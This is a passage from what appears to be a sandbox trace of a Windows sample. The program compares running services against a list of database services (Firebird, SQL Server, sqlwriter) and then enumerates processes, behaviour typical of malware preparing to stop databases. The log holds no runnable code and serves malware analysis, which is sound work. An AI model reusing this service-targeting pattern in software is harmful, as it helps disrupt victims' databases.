	[0068.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0068.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0068.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0068.854] lstrlenW (lpString="DoSvc") returned 5
	[0068.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0068.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0068.854] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0068.854] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0068.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0068.854] lstrlenW (lpString="DPS") returned 3
	[0068.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0068.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0068.854] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0068.854] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0068.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0068.855] lstrlenW (lpString="DusmSvc") returned 7
	[0068.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0068.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0068.855] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0068.855] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0068.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0068.855] lstrlenW (lpString="EventLog") returned 8
	[0068.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0068.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0068.855] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0068.855] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0068.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0068.855] lstrlenW (lpString="EventSystem") returned 11
	[0068.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0068.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0068.855] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0068.855] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0068.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0068.855] lstrlenW (lpString="FontCache") returned 9
	[0068.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0068.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0068.855] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0068.855] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0068.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0068.855] lstrlenW (lpString="gpsvc") returned 5
	[0068.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0068.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0068.855] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0068.855] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0068.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0068.855] lstrlenW (lpString="iphlpsvc") returned 8
	[0068.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0068.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0068.856] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0068.856] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0068.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0068.856] lstrlenW (lpString="KeyIso") returned 6
	[0068.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0068.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0068.856] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0068.856] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0068.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0068.856] lstrlenW (lpString="LanmanServer") returned 12
	[0068.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0068.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0068.856] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0068.856] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0068.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0068.856] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0068.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0068.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0068.856] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0068.856] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0068.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0068.856] lstrlenW (lpString="lfsvc") returned 5
	[0068.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0068.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0068.856] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0068.856] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0068.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0068.856] lstrlenW (lpString="lmhosts") returned 7
	[0068.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0068.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0068.857] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0068.857] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0068.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0068.857] lstrlenW (lpString="LSM") returned 3
	[0068.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0068.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0068.857] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0068.857] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0068.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0068.857] lstrlenW (lpString="MapsBroker") returned 10
	[0068.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0068.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0068.857] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0068.857] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0068.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0068.857] lstrlenW (lpString="MpsSvc") returned 6
	[0068.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0068.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0068.857] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0068.857] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0068.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0068.857] lstrlenW (lpString="NcbService") returned 10
	[0068.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0068.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0068.857] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0068.857] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0068.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0068.857] lstrlenW (lpString="netprofm") returned 8
	[0068.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0068.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0068.857] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0068.857] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0068.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0068.858] lstrlenW (lpString="NgcSvc") returned 6
	[0068.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0068.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0068.858] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0068.858] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0068.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0068.858] lstrlenW (lpString="NlaSvc") returned 6
	[0068.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0068.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0068.858] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0068.858] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0068.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0068.858] lstrlenW (lpString="nsi") returned 3
	[0068.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0068.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0068.858] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0068.858] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0068.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0068.858] lstrlenW (lpString="PcaSvc") returned 6
	[0068.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0068.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0068.858] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0068.858] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0068.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0068.858] lstrlenW (lpString="PlugPlay") returned 8
	[0068.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0068.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0068.858] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0068.858] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0068.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0068.858] lstrlenW (lpString="Power") returned 5
	[0068.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0068.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0068.859] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0068.859] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0068.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0068.859] lstrlenW (lpString="ProfSvc") returned 7
	[0068.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0068.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0068.859] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0068.859] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0068.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0068.859] lstrlenW (lpString="RpcEptMapper") returned 12
	[0068.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0068.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0068.859] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0068.859] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0068.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0068.859] lstrlenW (lpString="RpcSs") returned 5
	[0068.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0068.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0068.859] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0068.859] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0068.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0068.859] lstrlenW (lpString="SamSs") returned 5
	[0068.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0068.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0068.859] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0068.859] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0068.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0068.859] lstrlenW (lpString="Schedule") returned 8
	[0068.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0068.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0068.860] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0068.860] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0068.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0068.860] lstrlenW (lpString="SecurityHealthService") returned 21
	[0068.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0068.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0068.860] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0068.860] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0068.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0068.860] lstrlenW (lpString="SENS") returned 4
	[0068.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0068.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0069.268] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0069.268] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0069.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0069.268] lstrlenW (lpString="ShellHWDetection") returned 16
	[0069.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0069.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0069.268] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0069.268] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0069.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0069.268] lstrlenW (lpString="Spooler") returned 7
	[0069.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0069.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0069.268] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0069.268] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0069.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0069.268] lstrlenW (lpString="StateRepository") returned 15
	[0069.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0069.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0069.268] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0069.268] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0069.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0069.268] lstrlenW (lpString="SysMain") returned 7
	[0069.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0069.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0069.268] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0069.268] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0069.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4313a10 | out: hHeap=0x4f0000) returned 1
	[0069.269] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364
	[0069.274] Process32FirstW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0069.275] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0069.276] lstrlenW (lpString="System") returned 6
	[0069.276] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0069.276] lstrlenW (lpString="smss.exe") returned 8
	[0069.276] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0069.277] lstrlenW (lpString="csrss.exe") returned 9
	[0069.277] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0069.277] lstrlenW (lpString="wininit.exe") returned 11
	[0069.277] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0069.278] lstrlenW (lpString="csrss.exe") returned 9
	[0069.278] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0069.278] lstrlenW (lpString="winlogon.exe") returned 12
	[0069.278] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0069.279] lstrlenW (lpString="services.exe") returned 12
	[0069.279] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0069.279] lstrlenW (lpString="lsass.exe") returned 9
	[0069.280] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.280] lstrlenW (lpString="svchost.exe") returned 11
	[0069.280] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0069.281] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0069.281] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0069.281] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0069.281] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.282] lstrlenW (lpString="svchost.exe") returned 11
	[0069.282] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0069.282] lstrlenW (lpString="dwm.exe") returned 7
	[0069.283] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.283] lstrlenW (lpString="svchost.exe") returned 11
	[0069.283] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.284] lstrlenW (lpString="svchost.exe") returned 11
	[0069.284] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.284] lstrlenW (lpString="svchost.exe") returned 11
	[0069.284] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.285] lstrlenW (lpString="svchost.exe") returned 11
	[0069.285] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.285] lstrlenW (lpString="svchost.exe") returned 11
	[0069.285] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.286] lstrlenW (lpString="svchost.exe") returned 11
	[0069.286] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.286] lstrlenW (lpString="svchost.exe") returned 11
	[0069.287] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.287] lstrlenW (lpString="svchost.exe") returned 11
	[0069.287] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.288] lstrlenW (lpString="svchost.exe") returned 11
	[0069.288] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0069.288] lstrlenW (lpString="spoolsv.exe") returned 11
	[0069.288] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.289] lstrlenW (lpString="svchost.exe") returned 11
